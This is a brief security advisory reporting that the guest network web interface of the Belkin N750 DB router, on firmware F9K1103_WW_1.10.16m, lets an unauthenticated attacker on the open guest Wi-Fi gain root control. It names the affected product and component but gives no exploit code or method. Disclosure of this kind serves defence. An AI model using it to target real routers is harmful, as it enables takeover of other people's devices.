A vulnerability in the guest network web interface of the Belkin N750 DB Wi-Fi Dual-Band N+ Gigabit Router with firmware F9K1103_WW_1.10.16m, allows an unauthenticated remote attacker to gain root access to the operating system of the affected device. The guest network functionality is default functionality and is delivered over an unprotected wifi network.

Successful exploitation of the vulnerability enables the attacker to gain full control of the affected router.
